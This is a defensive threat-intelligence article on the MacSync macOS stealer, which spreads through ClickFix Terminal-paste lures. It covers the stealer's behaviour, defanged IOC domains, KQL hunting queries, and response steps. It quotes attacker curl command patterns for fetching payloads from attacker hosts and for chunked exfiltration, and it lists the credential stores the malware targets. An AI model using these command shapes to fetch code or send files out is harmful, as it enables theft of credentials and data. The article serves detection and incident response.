MacSync Stealer is a macOS information stealer that arrives through ClickFix social engineering, where a user is convinced to copy a command from a website, chat agent, or file and paste it into Terminal. There is no exploit and no signed installer to inspect. The victim runs the first stage themselves in an interactive zsh session, and curl pulls the payload down from attacker infrastructure. Original reporting for this article comes from Microsoft.

What it takes from a Mac is broad. The malware goes after macOS Keychain material, browser Safe Storage keys, saved browser credentials, cookies, login databases and session data, Apple Notes, Safari data, SSH keys, AWS credentials, and Kubernetes configurations, plus PDF, DOCX, KEY, PEM, KDBX, OVPN, WALLET, and SEED files sitting in Downloads, Documents, and Desktop.

It also checks for cryptocurrency wallet software including Ledger and Trezor artifacts. If a developer or administrator on your team uses a Mac, that single machine holds cloud access keys, cluster configs, and live browser sessions that let an attacker skip authentication entirely.

The distinguishing trait is infrastructure churn. RST Cloud first documented the threat through a limited set of domains and recorded how quickly the operators replaced command-and-control servers after public disclosure, which means a blocklist built from yesterday's report ages fast.

Microsoft Defender Experts correlated recurring endpoint and network behaviors to connect more than 30 domains to MacSync Stealer activity, showing that the same infrastructure handled collection, staging, and exfiltration rather than C2 traffic alone.

Microsoft also confirmed active data theft, not just beaconing. Collected files were compressed into an archive, split into chunks, and pushed out over HTTP PUT requests, then the temporary archives and staging folders were deleted.

For your organization, that combination matters: credential and session theft from a macOS endpoint, confirmed upload of the stolen archive, and cleanup that reduces what a later forensic review can find on disk. The durable evidence lives in process and network telemetry, which is where the rest of this analysis focuses.

How MacSync Uses AppleScript and curl for Credential Theft

MacSync Stealer's post-execution activity runs almost entirely through osascript, the macOS binary that executes AppleScript. The payload uses it to launch Unix shell commands, mixing AppleScript with native tooling like sh, cp, rm, mkdir, killall, and dscl. That blend maps to MITRE ATT&CK T1059.004 (Command and Scripting Interpreter: Unix Shell) and leaves no compiled binary on disk to submit for analysis.

Retrieval comes first. Microsoft Defender Experts observed curl -kfsSL hxxp://[domain]/curl/[token] pulling staged payload content, which the script then decoded or unpacked with Base64 and gunzip (T1105 and T1140). The unpacking step is what turns an ordinary-looking download into executable script content.

Check-in traffic follows a consistent shape. The malware calls out with curl -k -s --max-time 30 plus a macOS User-Agent header and an api-key header, targeting a /dynamic?txd=[token] path. Those flags matter individually:

• -k skips TLS certificate validation, so inspection proxies with self-signed certificates never break the session
• -s suppresses progress output, keeping the Terminal window quiet while the victim reads whatever page lured them there
• --max-time caps connection duration so a dead domain does not stall the chain
• -w %{http_code} captures HTTP response codes, giving the script upload success or failure feedback

Before touching credential stores, the script fingerprints the host. It gathers system and user information (T1082), enumerates running processes and configuration (T1057), and performs software discovery (T1518) looking specifically for Ledger and Trezor artifacts. If your finance or engineering staff hold crypto assets on managed Macs, that check tells the operator which hosts are worth the follow-up.

Credential access uses a temporary keychain-grabbing script under T1555.001, alongside attempts to pull browser Safe Storage keys. Browser theft under T1555.003 spans Chrome, Brave, Edge, Opera, Vivaldi, Arc, and Chromium, and file collection under T1005 sweeps Downloads, Documents, and Desktop for PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, and SEED files. KDBX and OVPN hits are consequential because they hand over a password database and a VPN profile in the same pass.

Staging is where the chain becomes easy to describe and easy to spot. Collected material lands under /tmp/sync* paths and gets compressed into /tmp/osalogging.zip (T1560.001), then split into multiple chunks before transfer (T1030, Data Transfer Size Limits). Each chunk goes out via curl -k -s -X PUT --data-binary @- against a /gate?buildtxd=[token] endpoint carrying upload_id, chunk_index, and total_chunks parameters, which is automated exfiltration over the C2 channel (T1041 and T1020). Cleanup then deletes archives, staging folders, and lock files under T1070.004.

The infrastructure findings come out of exactly these traits. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Microsoft required multiple behaviors to align across process ancestry, command line, request path, headers, and upload parameters before calling a domain related, and that standard connected more than 30 domains.

The practical consequence is that domain blocklists age out quickly here, while the request shape and process sequence stay stable. A curl process spawned from osascript, writing to /tmp, then issuing a PUT with chunk parameters, describes this stealer whether the destination is miamipcsupport[.]com or a domain registered tomorrow.

Identifying MacSync Infrastructure Through Network and File Indicators

Microsoft Defender Experts linked more than 30 domains to MacSync Stealer by requiring several endpoint and network traits to align before calling a domain related. Process ancestry, command-line shape, request path, headers, and upload parameters all had to match. The domain count came out of that method, which matters because the same method still works after the current domain list goes stale.

Three URI patterns anchor the infrastructure. Payload retrieval uses a /curl/ path, C2 check-in uses /dynamic?txd=, and chunked upload traffic uses /gate?buildtxd=. Each carries a token value that changes per deployment, so match on the path fragment and query key, never on the full URL.

RST Cloud surfaced eleven additional candidate domains from those URI patterns alone and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. A reused secret across separate hosts is the cheapest pivot available: one confirmed sample gives you a value that clusters unrelated-looking domains together.

The curl command lines are equally distinctive. C2 check-in runs curl -k -s --max-time 30 with a macOS User-Agent header and an api-key: header. Exfiltration runs curl -k -s -X PUT --data-binary @- against the /gate?buildtxd= path with &upload_id=, &chunk_index=, and &total_chunks= appended. The -w %{http_code} flag also appears, capturing HTTP response codes during upload attempts.

On disk, staging happens under /tmp/sync* and the archive is written to /tmp/osalogging.zip before being split into chunks (T1560.001 and T1030). Those two paths are the highest-value file indicators in the whole chain, and they sit next to deletion activity because temporary archives, staging folders, and lock files are removed after upload (T1070.004).

Four hunting queries convert this into searchable telemetry. The broadest looks for curl-initiated network events matching any of the recurring path or parameter strings:

DeviceNetworkEvents | where InitiatingProcessFileName =~ "curl" | where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")

For confirmed exfiltration rather than beaconing, add the command-line condition:

DeviceNetworkEvents | where InitiatingProcessFileName =~ "curl" | where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary") | where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=")

Process telemetry catches the same activity without network visibility:

DeviceProcessEvents | where FileName =~ "curl" | where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}")

Tune the time range, device scope, and allowlists before running these at scale. Legitimate developer and automation traffic uses curl heavily on macOS fleets, so the parameter combinations matter more than curl alone.

The published domains read like ordinary small-business sites, which is why DNS-layer review rarely flags them on name alone. Named examples include aihealthring[.]com, cabinrentalsnc[.]com, fintelliganceai[.]com, miamipcsupport[.]com, oaklandwaterdamage[.]com, plethorawallet[.]com, and syracusefertilitycenter[.]com. Treat all of them as point-in-time evidence and correlate any DNS or proxy hit with process context before acting.

Mapped behaviors include T1071.001 for the web-protocol C2, T1041 for exfiltration over the C2 channel, and T1020 for the automated upload loop. For a security team, the practical read is that a hit on upload_id plus chunk_index in your proxy logs indicates data already left the device, not an attempted connection.

Detection and Immediate Response Steps for MacSync Infections

Start with the exfiltration hunt, because it is the one query that tells you whether data actually left a Mac. In Defender advanced hunting, run DeviceNetworkEvents | where InitiatingProcessFileName =~ "curl" | where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary") | where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=") across your macOS fleet. A hit here is confirmed upload activity, which changes the incident from "possible infection" to "assume the data is gone."

Pair that with file telemetry for the staging step. Look for archive creation at /tmp/osalogging.zip and directories matching /tmp/sync*, then check whether sensitive-file access preceded it and whether deletion activity followed. Since the malware removes temporary archives, staging folders, and lock files after upload, the deletion event is often the last artifact you have, and correlating it backward to collection and outbound curl traffic is what reconstructs the timeline.

Your first 24 hours should also confirm your preventive controls were on. Verify cloud-delivered protection, network protection, and tamper protection are enabled on affected endpoints, since tamper protection blocks unauthorized changes to Defender settings. Check whether any of these Defender Antivirus detections fired and were dismissed:

• Trojan:MacOS/SuspMacSyncExfil and Behavior:MacOS/SuspInfoExfil for upload activity
• Behavior:MacOS/SuspPassSteal for credential-store access
• Behavior:MacOS/SuspOsascriptExec and Behavior:MacOS/SuspDownloadFileExec for the execution chain
• Endpoint alerts including "Unix credentials were illegitimately accessed" and "Possible data exfiltration using curl"

Over the next one to two weeks, treat every secret that lived on the affected Mac as burned. Rotate SSH private keys and remove the old public keys from every server and Git host that accepted them, issue new AWS access keys, and regenerate Kubernetes credentials in any kubeconfig that sat in the user profile. Reset saved browser passwords and force sign-out of active sessions, because stolen cookies and session databases let an attacker resume an authenticated session without re-entering a password or a second factor.

Session theft is exactly the failure mode a password reset alone does not close, so watch the identity layer for reuse. In environments Capstone manages, Adlumin flags authentication from unfamiliar locations and devices after a stealer infection, which is often the first visible sign that harvested credentials are being used somewhere your endpoint telemetry cannot see. If the user handled cryptocurrency, treat any wallet or seed material on that host as compromised and move funds to newly generated keys, given that the malware specifically checked for Ledger and Trezor artifacts and collected WALLET and SEED file types.

For durable control, prioritize the macOS version itself. Apple added protections in macOS 26.4 and later that block potentially malicious Terminal pastes and add XProtect checks that stop detected malicious scripts from running, so pushing that upgrade through your MDM removes the delivery step rather than catching it afterward. Track the upgrade as a compliance metric, not a request.

Then tune egress. Block or investigate connections to newly registered and behaviorally related domains, and keep standing detections on the request shape itself rather than on the current domain list, because that list ages quickly. Build recurring hunts on api-key headers, -w %{http_code}, and curl -k -s --max-time in curl command lines so the query survives the next round of infrastructure changes.

Protecting Against MacSync: Configuration and Monitoring Priorities

Upgrade your macOS fleet to 26.4 or later as the first move. Apple added protections in that release specifically aimed at ClickFix-style attacks, including a warning that blocks a potentially malicious Terminal paste outright and XProtect checks that stop detected malicious scripts from running. Since MacSync depends on a user pasting a command into Terminal, that block interrupts the chain before curl ever runs.

Start by finding out how many Macs you actually have and what they are running. Build an inventory in your MDM that flags every device below 26.4, plus every account with local admin rights, and treat developer and finance users as the priority group because they are the ones holding SSH keys, cloud credential files, and wallet artifacts worth collecting.

For hardening, understand what will not help. Every tool in this attack chain is an Apple-signed binary that ships with the operating system, so code-signing enforcement, Gatekeeper, and System Integrity Protection do not block it. SIP still matters because it prevents tampering with protected system paths and should stay enabled on every managed Mac, but the control that changes the outcome here is restricting who can run scripting interpreters at all.

• Use MDM configuration profiles to remove Terminal from standard-user Docks and application allowlists, leaving it available only to roles that need shell access.
• Restrict osascript execution through your endpoint agent's application control policy for non-technical user groups, since the payload runs its shell commands through it.
• Enable network and web protection so connections to newly registered or behaviorally related domains are blocked at the point of delivery, C2 check-in, and upload.
• Turn on cloud-delivered antivirus protection, which covers rapidly changing attacker tooling that static signatures miss.
• Deploy managed browser extensions and enterprise browser policies that block credential autofill on unknown sites and shorten session cookie lifetimes, reducing the value of what gets stolen from browser login databases.

Tamper protection deserves its own line. MacSync issues killall operations during its post-execution chain, and any stealer that can stop or reconfigure your endpoint agent removes the telemetry you need afterward. SentinelOne blocks attempts to disable or weaken endpoint protection across managed environments, which keeps the process and command-line events intact even when the malware tries to clean up behind itself.

On the monitoring side, build a standing rule for AppleScript-launched shell activity rather than waiting for a domain to appear on a block list. In Defender advanced hunting, DeviceProcessEvents | where FileName =~ "osascript" | where ProcessCommandLine has_any ("sh -c", "cp ", "rm ", "curl ", "mkdir ", "killall", "dscl") surfaces the pattern. Tune out your own management scripts, then alert on anything left.

Pair that with a curl command-line rule looking for api-key, -k, --max-time, and -w %{http_code} together. The certificate-validation bypass and response-code capture are deliberate operator choices for a chunked upload loop, and they rarely appear in legitimate admin usage on a laptop.

For recovery, treat a confirmed infection as full credential compromise on that host. Rotate SSH keys, AWS access keys, and Kubernetes config secrets that lived on the device, invalidate browser sessions centrally, and reset any Keychain-stored passwords. Then feed the specific lure the user encountered back into your awareness training, because the delivery page changes far more often than the technique does.

Key Takeaway: Hunt Your macOS Fleet for MacSync Indicators Now

The practical takeaway from the Microsoft Defender Experts research is that the domain list in the IOC table is the least durable part of the finding. RST Cloud surfaced eleven additional candidate domains from URI patterns alone and found a static API-key value shared across four confirmed C2 domains while the build token changed per deployment. That mix of one constant and one variable is what makes request shape more useful to you than any single hostname.

The IOC domains themselves impersonate ordinary small-business sites, covering pet sitting, roofing, fertility clinics, water damage restoration, and warehousing. Nothing about those names looks out of place in your proxy logs, and none of them will stay live long. Treat a hit as confirmation of a behavior you already found, and treat the absence of hits as meaningless.

Signature-based detection has little to work with here. curl and osascript ship with macOS and run legitimately on your developers' machines every day, so the malicious use only stands out when you look at sequence and argument shape rather than file identity. The cleanup phase removes staged archives and lock files afterward, which means your network and process telemetry retention often outlives the on-disk evidence.

The business consequence sits outside the Mac itself. Windows-centric endpoint coverage does not change that outcome if your macOS fleet is unmonitored.